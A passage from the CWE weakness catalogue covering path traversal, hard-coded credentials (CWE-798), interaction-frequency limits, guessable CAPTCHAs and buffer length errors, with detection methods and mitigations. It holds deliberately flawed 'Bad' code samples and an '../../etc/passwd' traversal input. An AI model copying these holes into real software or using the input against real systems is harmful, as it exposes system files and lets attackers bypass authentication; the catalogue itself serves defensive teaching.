The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(Bad)*

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
    $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

*Example Language:*

*(Attack)*

```
../../etc/passwd
```

will have the first "../" filtered, resulting in:

*Example Language:*

*(Result)*

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:*

*(Result)*

```
/home/user/../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

## CWE-798: Use of Hard-coded Credentials

**Weakness ID :** 798

**Structure :** Simple

**Abstraction :** Base

### Description

The product contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

### Extended Description

Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the product administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

**Inbound:** the product contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.

**Outbound:** the product connects to another system or component, and it contains hard-coded credentials for connecting to that component.







In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		344	Use of Invariant Value in Dynamically Changing Context	804
ChildOf		671	Lack of Administrator Control over Security	1385
ChildOf		1391	Use of Weak Credentials	2089
ParentOf		259	Use of Hard-coded Password	591
ParentOf		321	Use of Hard-coded Cryptographic Key	745
PeerOf		257	Storing Passwords in a Recoverable Format	586



*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf		259	Use of Hard-coded Password	591
ParentOf		321	Use of Hard-coded Cryptographic Key	745

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf	V	259	Use of Hard-coded Password	591
ParentOf	V	321	Use of Hard-coded Cryptographic Key	745

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2107

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Technology :** Mobile (*Prevalence = Undetermined*)

**Technology :** ICS/OT (*Prevalence = Often*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question.</i>	
Integrity Confidentiality Availability Access Control Other	Read Application Data Gain Privileges or Assume Identity Execute Unauthorized Code or Commands Other  <i>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.</i>	

### Detection Methods

#### Black Box

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

*Effectiveness = Moderate*

#### Automated Static Analysis

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

#### Manual Static Analysis

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the product, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

#### Manual Dynamic Analysis

For hard-coded credentials in incoming authentication: use monitoring tools that examine the product's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the product was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as *truss* (Solaris) and *strace* (Linux); system activity monitors such as *FileMon*, *RegMon*, *Process Monitor*, and other *Sysinternals* utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

#### **Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = High*

#### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Network Sniffer Forced Path Execution

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### **Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all

outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7]. In Windows environments, the Encrypted File System (EFS) may provide some protection.

#### Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

#### Phase: Architecture and Design

If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

#### Phase: Architecture and Design

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash. Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

#### Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

### Demonstrative Examples

#### Example 1:

The following code uses a hard-coded password to connect to a database:

*Example Language: Java*

*(Bad)*

```
...  
DriverManager.getConnection(url, "scott", "tiger");  
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

*Example Language:*

*(Attack)*

```
javap -c ConnMngr.class  
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql  
24: ldc #38; //String scott
```

```
26: ldc #17; //String tiger
```

### Example 2:

The following code is an example of an internal hard-coded password in the back-end:

*Example Language: C*

*(Bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!") {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

*Example Language: Java*

*(Bad)*

```
int VerifyAdmin(String password) {
    if (!password.equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

### Example 3:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

*Example Language: C*

*(Bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

*Example Language: Java*

*(Bad)*

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
}
```

*Example Language: C#*

*(Bad)*

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

```
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

**Example 4:**

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

*Example Language: Java*

*(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp ldap.username=secretUsername
webapp ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

*Example Language: ASP.NET*

*(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

**Example 5:**

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used hard-coded credentials in their OT products.

**Observed Examples**

Reference	Description
<b>CVE-2022-29953</b>	Condition Monitor firmware has a maintenance interface with hard-coded credentials <a href="https://www.cve.org/CVERecord?id=CVE-2022-29953">https://www.cve.org/CVERecord?id=CVE-2022-29953</a>
<b>CVE-2022-29960</b>	Engineering Workstation uses hard-coded cryptographic keys that could allow for unauthorized filesystem access and privilege escalation <a href="https://www.cve.org/CVERecord?id=CVE-2022-29960">https://www.cve.org/CVERecord?id=CVE-2022-29960</a>
<b>CVE-2022-29964</b>	Distributed Control System (DCS) has hard-coded passwords for local shell access <a href="https://www.cve.org/CVERecord?id=CVE-2022-29964">https://www.cve.org/CVERecord?id=CVE-2022-29964</a>
<b>CVE-2022-30997</b>	Programmable Logic Controller (PLC) has a maintenance service that uses undocumented, hard-coded credentials



Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2022-30997">https://www.cve.org/CVERecord?id=CVE-2022-30997</a>
<b>CVE-2022-30314</b>	Firmware for a Safety Instrumented System (SIS) has hard-coded credentials for access to boot configuration <a href="https://www.cve.org/CVERecord?id=CVE-2022-30314">https://www.cve.org/CVERecord?id=CVE-2022-30314</a>
<b>CVE-2022-30271</b>	Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used in typical deployments <a href="https://www.cve.org/CVERecord?id=CVE-2022-30271">https://www.cve.org/CVERecord?id=CVE-2022-30271</a>
<b>CVE-2021-37555</b>	Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288] <a href="https://www.cve.org/CVERecord?id=CVE-2021-37555">https://www.cve.org/CVERecord?id=CVE-2021-37555</a>
<b>CVE-2012-3503</b>	Installation script has a hard-coded secret token value, allowing attackers to bypass authentication <a href="https://www.cve.org/CVERecord?id=CVE-2012-3503">https://www.cve.org/CVERecord?id=CVE-2012-3503</a>
<b>CVE-2010-2772</b>	SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm <a href="https://www.cve.org/CVERecord?id=CVE-2010-2772">https://www.cve.org/CVERecord?id=CVE-2010-2772</a>
<b>CVE-2010-2073</b>	FTP server library uses hard-coded usernames and passwords for three default accounts <a href="https://www.cve.org/CVERecord?id=CVE-2010-2073">https://www.cve.org/CVERecord?id=CVE-2010-2073</a>
<b>CVE-2010-1573</b>	Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code <a href="https://www.cve.org/CVERecord?id=CVE-2010-1573">https://www.cve.org/CVERecord?id=CVE-2010-1573</a>
<b>CVE-2008-2369</b>	Server uses hard-coded authentication key <a href="https://www.cve.org/CVERecord?id=CVE-2008-2369">https://www.cve.org/CVERecord?id=CVE-2008-2369</a>
<b>CVE-2008-0961</b>	Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface <a href="https://www.cve.org/CVERecord?id=CVE-2008-0961">https://www.cve.org/CVERecord?id=CVE-2008-0961</a>
<b>CVE-2008-1160</b>	Security appliance uses hard-coded password allowing attackers to gain root access <a href="https://www.cve.org/CVERecord?id=CVE-2008-1160">https://www.cve.org/CVERecord?id=CVE-2008-1160</a>
<b>CVE-2006-7142</b>	Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs <a href="https://www.cve.org/CVERecord?id=CVE-2006-7142">https://www.cve.org/CVERecord?id=CVE-2006-7142</a>
<b>CVE-2005-3716</b>	VoIP product uses hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information <a href="https://www.cve.org/CVERecord?id=CVE-2005-3716">https://www.cve.org/CVERecord?id=CVE-2005-3716</a>
<b>CVE-2005-3803</b>	VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information <a href="https://www.cve.org/CVERecord?id=CVE-2005-3803">https://www.cve.org/CVERecord?id=CVE-2005-3803</a>
<b>CVE-2005-0496</b>	Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system <a href="https://www.cve.org/CVERecord?id=CVE-2005-0496">https://www.cve.org/CVERecord?id=CVE-2005-0496</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	254	7PK - Security Features	700	2106
MemberOf	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	<b>C</b>	753	2009 Top 25 - Porous Defenses	750	2146

Nature	Type	ID	Name	V	Page
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	2148
MemberOf	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	2150
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Maintenance

The Taxonomy\_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC03-J		Never hard code sensitive information
OMG ASCSM	ASCSM-CWE-798		
ISA/IEC 62443	Part 3-3		Req SR 1.5
ISA/IEC 62443	Part 4-2		Req CR 1.5

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
70	Try Common or Default Usernames and Passwords
191	Read Sensitive Constants Within an Executable

### References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-729]Johannes Ullrich. "Top 25 Series - Rank 11 - Hardcoded Credentials". 2010 March 0. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/10/top-25-series-rank-11-hardcoded-credentials/> >.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

[REF-1288]Julia Lokrantz. "Ethical hacking of a Smart Automatic Feed Dispenser". 2021 June 7. < <http://kth.diva-portal.org/smash/get/diva2:1561552/FULLTEXT01.pdf> >.

[REF-1304]ICS-CERT. "ICS Alert (ICS-ALERT-13-164-01): Medical Devices Hard-Coded Passwords". 2013 June 3. < <https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-13-164-01> >.2022-10-11.

## CWE-799: Improper Control of Interaction Frequency

**Weakness ID** : 799

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.

### Extended Description

This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	[P]	691	Insufficient Control Flow Management	1420
ParentOf	[E]	307	Improper Restriction of Excessive Authentication Attempts	709
ParentOf	[E]	837	Improper Enforcement of a Single, Unique Action	1640

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Insufficient anti-automation** : The term "insufficient anti-automation" focuses primarily on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.

**Brute force** : Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)	
Access Control	Bypass Protection Mechanism	
Other	Other	

### Demonstrative Examples

#### Example 1:

In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.

*Example Language: C*

*(Bad)*

```
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
}
return(SUCCESS);
```

This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.

*Example Language: C*

*(Good)*



```
int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
    count++;
}
if (isValidUser) {
    return(SUCCESS);
}
else {
    return(FAIL);
}
```

### Observed Examples

Reference	Description
<b>CVE-2002-1876</b>	Mail server allows attackers to prevent other users from accessing mail by sending large number of rapid requests. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1876">https://www.cve.org/CVERecord?id=CVE-2002-1876</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	21		Insufficient Anti-Automation

### References

[REF-731]Web Application Security Consortium. "Insufficient Anti-automation". < <http://projects.webappsec.org/Insufficient+Anti-automation> >.

## CWE-804: Guessable CAPTCHA

**Weakness ID** : 804

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.

### Extended Description

An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.

There can be several different causes of a guessable CAPTCHA:

- An audio or visual image that does not have sufficient distortion from the unobfuscated source image.
- A question is generated with a format that can be automatically recognized, such as a math question.
- A question for which the number of possible answers is limited, such as birth years or favorite sports teams.
- A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular entertainers.
- Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087
ChildOf		863	Incorrect Authorization	1664
CanFollow		330	Use of Insufficiently Random Values	772

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1211	Authentication Errors	2268

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Technology :** Web Server (*Prevalence = Sometimes*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	
<p><i>When authorization, authentication, or another protection mechanism relies on CAPTCHA entities to ensure that only human actors can access certain functionality, then an automated attacker such as a bot may access the restricted functionality by guessing the CAPTCHA.</i></p>		

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	800	2149

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	21		Insufficient Anti-Automation

### References

[REF-731]Web Application Security Consortium. "Insufficient Anti-automation". < <http://projects.webappsec.org/Insufficient+Anti-automation> >.

## CWE-805: Buffer Access with Incorrect Length Value

**Weakness ID :** 805

**Structure :** Simple

**Abstraction :** Base

### Description

The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

### Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
ParentOf		806	Buffer Access Using Size of Source Buffer	1592
CanFollow		130	Improper Handling of Length Parameter Inconsistency	336

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1218	Memory Buffer Errors	2272

### Weakness Ordinalities

**Resultant :**

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Often)

**Language :** C++ (Prevalence = Often)

**Language :** Assembly (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Read Memory Modify Memory Execute Unauthorized Code or Commands  <i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.</i>	
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU)  <i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	

### Detection Methods

**Automated Static Analysis**



This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*Detection techniques for buffer-related errors are more mature than for most other weakness types.*

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

*Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.*

### Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

### Potential Mitigations

#### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

#### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Run or compile the product using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as `strncpy()`, be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Operation**

*Strategy = Environment Hardening*

